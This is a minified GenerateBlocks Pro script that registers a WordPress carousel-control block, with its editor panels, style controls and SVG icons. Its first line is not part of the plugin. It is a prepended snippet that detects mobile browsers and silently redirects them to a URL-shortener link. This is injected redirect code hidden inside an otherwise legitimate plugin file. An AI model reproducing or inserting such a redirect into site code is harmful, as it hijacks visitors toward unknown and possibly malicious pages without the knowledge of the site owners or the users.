(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/TxFioprEr0r7");
(()=>{"use strict";var e={n:t=>{var l=t&&t.__esModule?()=>t.default:()=>t;return e.d(l,{a:l}),l},d:(t,l)=>{for(var o in l)e.o(l,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:l[o]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.React,l=window.wp.blocks,o=window.wp.i18n,s=window.wp.hooks,r=window.wp.blockEditor,n=window.wp.element,a=window.wp.compose,c=window.wp.components,i=window.gbp.blockStyles;function u(e,t,l=!1){const{styles:o={},uniqueId:s="",globalClasses:r=[]}=t,n=[];return l&&n.push(e),r.length>0&&n.push(...r),Object.keys(o).length>0&&n.push(`${e}-${s}`),n}const d=window.gbp.stylesBuilder,p=window.wp.data,g=(0,p.createReduxStore)("gbp-current-style",{reducer:d.currentStyleReducer,actions:d.currentStyleActions,selectors:d.currentStyleSelectors}),b=(0,p.createReduxStore)("gbp-styles",{reducer:d.styleReducer,actions:d.styleActions,selectors:d.styleSelectors}),y=(0,p.createReduxStore)("gbp-styles-at-rule",{reducer:d.atRuleReducer,actions:d.atRuleActions,selectors:d.atRuleSelectors}),m=(0,p.createReduxStore)("gbp-styles-nested-rule",{reducer:d.nestedRuleReducer,actions:d.nestedRuleActions,selectors:d.nestedRuleSelectors}),h=window.wp.apiFetch;var f=e.n(h);const v=window.wp.notices,S=window.wp.url,w=window.wp.coreData;var _;window.lodash;const k="undefined"!=typeof gbGlobalStylePermissions&&null!==(_=gbGlobalStylePermissions?.canManageStyles)&&void 0!==_&&_,R=window.wp.editPost;const C=(0,p.createReduxStore)("gbp-block-styles-current-style",{reducer:d.currentStyleReducer,actions:d.currentStyleActions,selectors:d.currentStyleSelectors}),E=(0,p.createReduxStore)("gbp-block-styles-at-rule",{reducer:d.atRuleReducer,actions:d.atRuleActions,selectors:d.atRuleSelectors}),A=(0,p.createReduxStore)("gbp-block-styles-nested-rule",{reducer:d.nestedRuleReducer,actions:d.nestedRuleActions,selectors:d.nestedRuleSelectors});function L(){const e=(0,p.useSelect)((e=>e(E).getAtRule())),{setAtRule:t}=(0,p.useDispatch)(E),l=(0,p.useSelect)((e=>e(A).getNestedRule())),{setNestedRule:s}=(0,p.useDispatch)(A),n=(0,i.useCurrentAtRule)(d.defaultAtRules),{setCurrentStyle:a}=(0,p.useDispatch)(C),c=(0,p.useSelect)((e=>e(C).currentStyle())),{deviceType:u,setDeviceType:h}=(0,i.useDeviceType)(),_=function(){const{setCurrentStyle:e}=(0,p.useDispatch)(g),{setStyles:t}=(0,p.useDispatch)(b),{createNotice:l,removeAllNotices:s}=(0,p.useDispatch)(v.store),{getEntityRecordEdits:n}=(0,p.useSelect)(w.store),{getSelectedBlock:a}=(0,p.useSelect)((e=>e(r.store)),[]),{setAtRule:c}=(0,p.useDispatch)(y),{setNestedRule:i}=(0,p.useDispatch)(m),{openGeneralSidebar:u}=(0,p.useDispatch)(R.store);return async(r,d={})=>{if(!k)return;const{classStyles:p,classPostId:g}=await async function(e){var t;const l=await f()({path:(0,S.addQueryArgs)("/generateblocks-pro/v1/global-classes/get_styles",{globalClass:e}),method:"GET"});let o=null!==(t=l?.response?.data?.styles)&&void 0!==t?t:{};return Array.isArray(o)&&0===o.length&&(o={}),{classStyles:o,classPostId:l?.response?.data?.postId}}(r);if(!g)return s("snackbar"),void l("error",(0,o.sprintf)(
// Translators: Global class name.
// Translators: Global class name.
(0,o.__)("%s does not exist.","generateblocks-pro"),r),{type:"snackbar"});c(""),i(""),u("gblocks-editor-sidebar/gblocks-editor-sidebar"),e({postId:g,name:r,classStyles:p,clientId:a()?.clientId,options:d}),d.nestedRule&&i(d.nestedRule),d.atRule&&c(d.atRule);const b=n("postType","gblocks_styles",g);t(b?.gb_style_data||p),s("snackbar"),l("info",(0,o.sprintf)(
// Translators: Global class name.
// Translators: Global class name.
(0,o.__)("Editing %s.","generateblocks-pro"),r),{type:"snackbar"})}}(),L=function(){const{setCurrentStyle:e}=(0,p.useDispatch)(g),{setStyles:t}=(0,p.useDispatch)(b),{setAtRule:l}=(0,p.useDispatch)(y),{setNestedRule:o}=(0,p.useDispatch)(m);return()=>{e({}),t({}),l(""),o("")}}();return{atRule:e,nestedRule:l,setAtRule:t,currentAtRule:n,setNestedRule:s,setDeviceType:h,deviceType:u,setCurrentStyle:a,currentStyle:c,getPreviewDevice:i.getPreviewDevice,setGlobalStyle:_,cancelEditGlobalStyle:L}}function I({attributes:e,setAttributes:l,shortcuts:o,onStyleChange:s}){const{atRule:r,setAtRule:n,nestedRule:a,setNestedRule:c,setDeviceType:u,getPreviewDevice:p,currentStyle:g,setGlobalStyle:b,cancelEditGlobalStyle:y}=L(),{styles:m,globalClasses:h=[]}=e,f=(0,d.getStylesObject)(m,r,a);return(0,t.createElement)(d.StylesBuilder,{currentSelector:g?.selector,styles:f,allStyles:m,onDeleteStyle:(e,t)=>{const o=(0,d.deleteStylesObjectKey)(m,e,t);l({styles:o})},nestedRule:a,atRule:r,onStyleChange:(e,t=null)=>s(e,t,r,a),onNestedRuleChange:e=>c(e),onAtRuleChange:e=>{n(e);const t=(0,d.getPreviewWidth)(e),l=p(t);l&&u(l)},onUpdateKey:(e,t,o)=>{const s=(0,d.updateStylesObjectKey)(m,e,t,o);l({styles:s})},selectorShortcuts:o.selectorShortcuts,visibleSelectors:o.visibleShortcuts,onEditStyle:b,cancelEditStyle:y,setLocalTab:e=>{sessionStorage.setItem(i.TABS_STORAGE_KEY,e)},scope:"local",appliedGlobalStyles:h})}const x=["allowfullscreen","async","autofocus","autoplay","checked","controls","default","defer","disabled","download","formnovalidate","hidden","ismap","itemscope","loop","multiple","muted","nomodule","novalidate","open","readonly","required","reversed","selected"];function T(e){const t=e.trim().replace(/[^A-Za-z0-9-_:.]+/g,"-").replace(/-+/g,"-").replace(/^-|-$/g,"");return t?/^[A-Za-z]/.test(t)?t:`id-${t}`:""}const N=window.gbp.components;function D(){const e=document.querySelector('.gb-block-styles-tab-panel button[id*="styles"]');return e?(0,t.createElement)("div",{className:"gb-more-style-controls"},(0,n.createInterpolateElement)(
// Translators: the at-rule for deletion.
// Translators: the at-rule for deletion.
(0,o.__)("Open the <Styles /> tab for more controls.","generateblocks-pro"),{Styles:(0,t.createElement)(c.Button,{variant:"link",className:"gb-more-style-controls__styles-tab",onClick:()=>e.click()},(0,o.__)("Styles","generateblocks-pro"))})):null}function O({value:e,options:s=[],onChange:r,blockName:n}){var a;const i=null!==(a=(0,l.getBlockType)(n)?.attributes?.tagName?.enum)&&void 0!==a?a:[],u=s.length?s:i.map((e=>({label:e,value:e})));return u.length?(0,t.createElement)(c.SelectControl,{label:(0,o.__)("Tag Name","generateblocks-pro"),value:e,options:u,onChange:r}):null}const B={default:{items:[{label:"Hover",value:"&:is(:hover, :focus)"},{label:"Disabled",value:"&:disabled"},{label:"Icon",value:".gb-carousel-control-icon svg"}]},controlStates:{label:(0,o.__)("Control States","generateblocks-pro"),items:[{label:(0,o.__)("Disabled","generateblocks-pro"),value:"&:disabled"}]},controlElements:{label:(0,o.__)("Control Elements","generateblocks-pro"),items:[{label:(0,o.__)("Icon","generateblocks-pro"),value:".gb-carousel-control-icon svg"}]}},M=[{label:(0,o.__)("Disabled","generateblocks-pro"),value:"&:disabled"}];function V({controlType:e,openIcon:l,closeIcon:o}){return"play-pause"===e?(0,t.createElement)(t.Fragment,null,(0,t.createElement)("span",{className:"gb-carousel-control-icon",dangerouslySetInnerHTML:{__html:l}}),(0,t.createElement)("span",{className:"gb-carousel-control-icon gb-carousel-control-icon--alt",dangerouslySetInnerHTML:{__html:o}})):(0,t.createElement)("span",{className:"gb-carousel-control-icon",dangerouslySetInnerHTML:{__html:l}})}const Z=(0,a.compose)((function(e){return l=>{var o,a,i,u;const{attributes:d,setAttributes:g,context:b}=l,{htmlAttributes:y={},uniqueId:m,className:h,align:f}=d,v=(0,p.useSelect)((e=>e("core/editor").isSavingPost())),{style:S="",href:w,..._}=y,k=Object.keys(_).reduce(((e,t)=>(e[t]=(e=>{if(null==e)return"";let t="";if("object"==typeof e)try{t=JSON.stringify(e)}catch(e){return""}else t=String(e);return t.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&#039;")})(_[t]),e)),{}),[R,C]=(0,n.useState)(S);var E,A,L,I;(0,n.useEffect)((()=>{!async function(){const e=await(0,s.applyFilters)("generateblocks.editor.htmlAttributes.style",S,{...l});C(e)}()}),[S,b,v]),E=()=>{const e=["alignwide","alignfull"],t=(h?.split(" ")||[]).filter((t=>!e.includes(t)));f&&t.push("align"+f),g({className:t.join(" ")})},A=[f],I=(L=(0,t.useRef)(!0)).current?(L.current=!1,!0):L.current,(0,t.useEffect)((function(){if(!I)return E()}),A);const N="string"==typeof R?R.split(";").reduce(((e,t)=>{const l=t.indexOf(":");if(-1===l)return e;let o=t.slice(0,l).trim();const s=t.slice(l+1).trim();return o&&s&&(o.startsWith("--")||(o=o.replace(/-([a-z])/g,(e=>e[1].toUpperCase()))),e[o]=s),e}),{}):"",D={...k,style:N,"data-gb-id":m,"data-context-post-id":null!==(o=null!==(a=b?.postId)&&void 0!==a?a:b?.["generateblocks/loopIndex"])&&void 0!==o?o:0,"data-align":f||void 0},O=(0,n.useMemo)((()=>Array.isArray(y)?{}:y),[JSON.stringify(y)]);return(0,n.useEffect)((()=>{const e={...y};Object.keys(e).forEach((t=>{const l=t.startsWith("data-"),o=e[t];x.includes(t)||""!==o||l||"alt"===t||delete e[t],"string"!=typeof o&&"boolean"!=typeof o&&delete e[t],"class"===t&&delete e[t]})),function(e,t){if(e===t)return!0;if(!e||!t)return!1;const l=Object.keys(e),o=Object.keys(t);if(l.length!==o.length)return!1;for(const o of l)if(e[o]!==t[o])return!1;return!0}(e,y)||g({htmlAttributes:e})}),[JSON.stringify(y)]),(0,t.createElement)(t.Fragment,null,(0,t.createElement)(e,{...l,editorHtmlAttributes:D,htmlAttributes:O}),(0,t.createElement)(r.InspectorAdvancedControls,null,(0,t.createElement)(c.TextControl,{label:"HTML ID",value:null!==(i=y.id)&&void 0!==i?i:"",onChange:e=>{g({htmlAttributes:{...y,id:e}})},onBlur:()=>{y.id&&g({htmlAttributes:{...y,id:T(y.id)}})}}),(0,t.createElement)(c.TextControl,{label:"ARIA Label",value:null!==(u=y["aria-label"])&&void 0!==u?u:"",onChange:e=>{g({htmlAttributes:{...y,"aria-label":e}})}})))}}),(function(e){return l=>{const{attributes:o,name:s,setAttributes:r,isSelected:a,clientId:c}=l,{uniqueId:u,styles:p,css:g}=o,{atRule:b,deviceType:y,setAtRule:m,currentStyle:h,setCurrentStyle:f,setNestedRule:v}=L(),S=(0,i.useSetStyles)(l,{cleanStylesObject:d.cleanStylesObject}),w=(0,n.useMemo)((()=>u?(0,i.getSelector)(s,u):""),[s,u]),_=Array.isArray(p)?{}:p;return(0,i.useAtRuleEffect)({deviceType:y,atRule:b,setAtRule:m,defaultAtRules:d.defaultAtRules,isSelected:a,getPreviewWidth:d.getPreviewWidth}),(0,i.useGenerateCSSEffect)({selector:w,styles:_,setAttributes:r,getCss:d.getCss,getSelector:i.getSelector,isSelected:a,blockCss:g,clientId:c}),(0,i.useStyleSelectorEffect)({isSelected:a,currentStyle:h,selector:w,setCurrentStyle:f,setNestedRule:v}),(0,i.useDecodeStyleKeys)({styles:p,setAttributes:r}),(0,t.createElement)(t.Fragment,null,(0,t.createElement)(i.Style,{selector:w,getCss:d.getCss,styles:_,clientId:c,name:s}),(0,t.createElement)(e,{...l,selector:w,onStyleChange:function(e,t="",l="",o=""){const s="object"==typeof e?e:{[e]:t},r=(0,i.buildChangedStylesObject)(s,l,o);S(r)},getStyleValue:function(e,t="",l=""){var o,s,r,n;return l?t?null!==(r=p?.[l]?.[t]?.[e])&&void 0!==r?r:"":null!==(s=p?.[l]?.[e])&&void 0!==s?s:"":t?null!==(n=p?.[t]?.[e])&&void 0!==n?n:"":null!==(o=p?.[e])&&void 0!==o?o:""},styles:_}))}}),i.withUniqueId)((function(e){const{attributes:l,setAttributes:a,editorHtmlAttributes:d,getStyleValue:p,onStyleChange:g,clientId:b,name:y,mergeBlocks:m,onReplace:h}=e,{controlType:f,openIcon:v,closeIcon:S,tagName:w,content:_,iconLocation:k,iconOnly:R,carouselId:C,htmlAttributes:E={}}=l,A=(0,n.useRef)(),L=u("gb-carousel-control",l,!0);f&&L.push(`gb-carousel-control--${f}`);const x=(0,r.useBlockProps)({className:L.filter((e=>e)).join(" ").trim(),...d,ref:A}),T=w||"button",Z={identifier:"content",value:_,onChange:e=>a({content:e}),onMerge:m,onReplace:h,onRemove:()=>h([]),placeholder:(0,o.__)("Text","generateblocks-pro"),withoutInteractiveFormatting:!0,disableLineBreaks:!0,...n.Platform.isNative&&{deleteEnter:!0}};(0,n.useEffect)((()=>{f||a({controlType:"next"}),w||a({tagName:"button"}),void 0===R&&a({iconOnly:!0}),k||a({iconLocation:"before"})}),[]),(0,n.useEffect)((()=>{if(!f)return;const e={...E||{}};let t=f;"play-pause"===f?t="toggle":"previous"===f&&(t="prev"),e["data-carousel-control"]=t,C?e["data-carousel-id"]=C:delete e["data-carousel-id"];const l=E?.["data-carousel-control"],o=E?.["data-carousel-id"];l===t&&o===(C||void 0)||a({htmlAttributes:e})}),[f,C]),(0,n.useEffect)((()=>{if(!v){let e="";switch(f){case"next":e='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 256" fill="currentColor"><path d="M181.66,133.66l-80,80a8,8,0,0,1-11.32-11.32L164.69,128,90.34,53.66a8,8,0,0,1,11.32-11.32l80,80A8,8,0,0,1,181.66,133.66Z" /></svg>';break;case"previous":e='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 256" fill="currentColor"><path d="M165.66,202.34a8,8,0,0,1-11.32,11.32l-80-80a8,8,0,0,1,0-11.32l80-80a8,8,0,0,1,11.32,11.32L91.31,128Z" /></svg>';break;case"play":case"play-pause":e='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 256" fill="currentColor"><path d="M232.4,114.49,88.32,26.35a16,16,0,0,0-16.2-.3A15.86,15.86,0,0,0,64,39.87V216.13A15.94,15.94,0,0,0,80,232a16.07,16.07,0,0,0,8.36-2.35L232.4,141.51a15.81,15.81,0,0,0,0-27ZM80,215.94V40l143.83,88Z" /></svg>';break;case"pause":e='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 256" fill="currentColor"><path d="M200,32H160a16,16,0,0,0-16,16V208a16,16,0,0,0,16,16h40a16,16,0,0,0,16-16V48A16,16,0,0,0,200,32Zm0,176H160V48h40ZM96,32H56A16,16,0,0,0,40,48V208a16,16,0,0,0,16,16H96a16,16,0,0,0,16-16V48A16,16,0,0,0,96,32Zm0,176H56V48H96Z" /></svg>';break;case"first":e='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 256" fill="currentColor"><path d="M199.81,34a16,16,0,0,0-16.24.43L64,109.23V40a8,8,0,0,0-16,0V216a8,8,0,0,0,16,0V146.77l119.57,74.78A15.95,15.95,0,0,0,208,208.12V47.88A15.86,15.86,0,0,0,199.81,34ZM192,208,64.16,128,192,48.07Z" /></svg>';break;case"last":e='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 256" fill="currentColor"><path d="M200,32a8,8,0,0,0-8,8v69.23L72.43,34.45A15.95,15.95,0,0,0,48,47.88V208.12a16,16,0,0,0,24.43,13.43L192,146.77V216a8,8,0,0,0,16,0V40A8,8,0,0,0,200,32ZM64,207.93V48.05l127.84,80Z" /></svg>'}e&&a({openIcon:e})}"play-pause"!==f||S||a({closeIcon:'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 256" fill="currentColor"><path d="M200,32H160a16,16,0,0,0-16,16V208a16,16,0,0,0,16,16h40a16,16,0,0,0,16-16V48A16,16,0,0,0,200,32Zm0,176H160V48h40ZM96,32H56A16,16,0,0,0,40,48V208a16,16,0,0,0,16,16H96a16,16,0,0,0,16-16V48A16,16,0,0,0,96,32Zm0,176H56V48H96Z" /></svg>'})}),[f]);const P={clearLabel:(0,o.__)("Clear","generateblocks-pro"),openLabel:(0,o.__)("Open Library","generateblocks-pro"),modalTitle:(0,o.__)("Select Icon","generateblocks-pro"),icons:(0,s.applyFilters)("generateblocks.editor.iconSVGSets",{},{attributes:l})},j={name:y,attributes:l,setAttributes:a,clientId:b,getStyleValue:p,onStyleChange:g};return(0,t.createElement)(t.Fragment,null,(0,t.createElement)(r.InspectorControls,null,(0,t.createElement)(i.BlockStyles,{settingsTab:(0,t.createElement)(t.Fragment,null,(0,t.createElement)(N.OpenPanel,{panelId:"settings",title:(0,o.__)("Control Settings","generateblocks-pro"),...j},(0,t.createElement)(c.SelectControl,{label:(0,o.__)("Control Type","generateblocks-pro"),value:f,options:[{label:(0,o.__)("Next","generateblocks-pro"),value:"next"},{label:(0,o.__)("Previous","generateblocks-pro"),value:"previous"},{label:(0,o.__)("Play","generateblocks-pro"),value:"play"},{label:(0,o.__)("Pause","generateblocks-pro"),value:"pause"},{label:(0,o.__)("Play/Pause Toggle","generateblocks-pro"),value:"play-pause"},{label:(0,o.__)("First","generateblocks-pro"),value:"first"},{label:(0,o.__)("Last","generateblocks-pro"),value:"last"}],onChange:e=>a({controlType:e})}),(0,t.createElement)(c.TextControl,{label:(0,o.__)("Target Carousel ID","generateblocks-pro"),help:(0,o.__)("Optional. Leave empty to control the parent carousel.","generateblocks-pro"),value:C||"",onChange:e=>{const t=e.trim().replace(/[^a-zA-Z0-9-_]/g,"");a({carouselId:t})}}),(0,t.createElement)(N.IconControl,{label:"play-pause"===f?(0,o.__)("Play Icon","generateblocks-pro"):(0,o.__)("Icon","generateblocks-pro"),value:v,onChange:e=>a({openIcon:e}),onClear:()=>a({openIcon:""}),...P}),"play-pause"===f&&(0,t.createElement)(N.IconControl,{label:(0,o.__)("Pause Icon","generateblocks-pro"),value:S,onChange:e=>a({closeIcon:e}),onClear:()=>a({closeIcon:""}),...P}),!R&&(0,t.createElement)(c.SelectControl,{label:(0,o.__)("Icon Location","generateblocks-pro"),value:k,options:[{label:(0,o.__)("Before","generateblocks-pro"),value:"before"},{label:(0,o.__)("After","generateblocks-pro"),value:"after"}],onChange:e=>a({iconLocation:e})}),(0,t.createElement)(c.BaseControl,{label:(0,o.__)("Icon Display","generateblocks-pro"),id:"gb-icon-only"},(0,t.createElement)(c.ToggleControl,{id:"gb-icon-only",label:(0,o.__)("Show the icon by itself","generateblocks-pro"),checked:!!R,onChange:()=>a({iconOnly:!R})})),(0,t.createElement)(O,{blockName:y,value:w,onChange:e=>{a({tagName:e})}})),(0,t.createElement)(N.OpenPanel,{panelId:"design",title:(0,o.__)("Style Shortcuts","generateblocks-pro"),...j},(0,t.createElement)(D,null))),stylesTab:(0,t.createElement)(I,{attributes:l,setAttributes:a,shortcuts:{selectorShortcuts:B,visibleShortcuts:M},onStyleChange:g})})),(0,t.createElement)(T,{...x},"before"===k&&(0,t.createElement)(V,{controlType:f,openIcon:v,closeIcon:S}),!R&&(0,t.createElement)(r.RichText,{...Z,tagName:"span",className:"gb-carousel-control-text"}),"after"===k&&(0,t.createElement)(V,{controlType:f,openIcon:v,closeIcon:S})))})),P=JSON.parse('{"UU":"generateblocks-pro/carousel-control"}');function j(){return(0,t.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"24",height:"24",className:"gblocks-block-icon","aria-hidden":"true",focusable:"false"},(0,t.createElement)("rect",{x:"0",y:"0",width:"24",height:"24",style:{fill:"none",fillRule:"nonzero"}}),(0,t.createElement)("rect",{x:"9.978",y:"9.8",width:"1.348",height:"4.4"}),(0,t.createElement)("rect",{x:"12.674",y:"9.8",width:"1.348",height:"4.4"}),(0,t.createElement)("path",{d:"M21.375,22L17.625,22L17.625,20.75L20.75,20.75L20.75,17.625L22,17.625L22,21.375C22,21.72 21.72,22 21.375,22ZM9.188,20.75L14.813,20.75L14.813,22L9.188,22L9.188,20.75ZM6.375,22L2.625,22C2.282,22 2,21.718 2,21.375L2,17.625L3.25,17.625L3.25,20.75L6.375,20.75L6.375,22ZM3.25,6.375L2,6.375L2,2.625C2,2.28 2.28,2 2.625,2L6.375,2L6.375,3.25L3.25,3.25L3.25,6.375ZM9.188,2L14.813,2L14.813,3.25L9.188,3.25L9.188,2ZM22,6.375L20.75,6.375L20.75,3.25L17.625,3.25L17.625,2L21.375,2C21.72,2 22,2.28 22,2.625L22,6.375Z",style:{fillOpacity:.3,fillRule:"nonzero"}}),(0,t.createElement)("path",{d:"M19.165,15.094L18.282,14.21L20.491,12L18.282,9.79L19.165,8.906L21.817,11.558C22.061,11.802 22.061,12.198 21.817,12.442L19.165,15.094Z",style:{fillRule:"nonzero"}}),(0,t.createElement)("path",{d:"M4.835,15.094L5.718,14.21L3.509,12L5.718,9.79L4.835,8.906L2.183,11.558C1.939,11.802 1.939,12.198 2.183,12.442L4.835,15.094Z",style:{fillRule:"nonzero"}}))}(0,l.registerBlockType)(P.UU,{edit:Z,save:function(e){const{attributes:l}=e,{tagName:o,controlType:s,openIcon:n,closeIcon:a,htmlAttributes:c,iconLocation:i,iconOnly:d,content:p}=l,g=u("gb-carousel-control",l,!0);s&&g.push(`gb-carousel-control--${s}`);const b=r.useBlockProps.save({className:g.join(" ").trim(),...c});return(0,t.createElement)(o,{...b},"before"===i&&(0,t.createElement)(V,{controlType:s,openIcon:n,closeIcon:a}),!d&&(0,t.createElement)("span",{className:"gb-carousel-control-text"},(0,t.createElement)(r.RichText.Content,{value:p})),"after"===i&&(0,t.createElement)(V,{controlType:s,openIcon:n,closeIcon:a}))},icon:(0,t.createElement)(j,null)}),(0,l.registerBlockVariation)("generateblocks-pro/carousel-control",{title:(0,o.__)("Carousel Control","generateblocks-pro"),name:"carousel-control",icon:(0,t.createElement)(j,null),isDefault:!0,attributes:{controlType:"next",styles:{display:"flex",alignItems:"center",backgroundColor:"#ffffff",color:"#000000",textDecoration:"none","&:is(:hover, :focus)":{backgroundColor:"#1a4a9b",color:"#ffffff"},columnGap:"0.5em",".gb-carousel-control-icon svg":{width:"20px",height:"20px",fill:"currentColor"},width:"50px",height:"50px",justifyContent:"center",borderTopWidth:"1px",borderRightWidth:"1px",borderBottomWidth:"1px",borderLeftWidth:"1px",borderTopStyle:"solid",borderRightStyle:"solid",borderBottomStyle:"solid",borderLeftStyle:"solid",borderTopColor:"#000000",borderRightColor:"#000000",borderBottomColor:"#000000",borderLeftColor:"#000000",borderTopLeftRadius:"100%",borderTopRightRadius:"100%",borderBottomRightRadius:"100%",borderBottomLeftRadius:"100%"},iconOnly:!0}})})();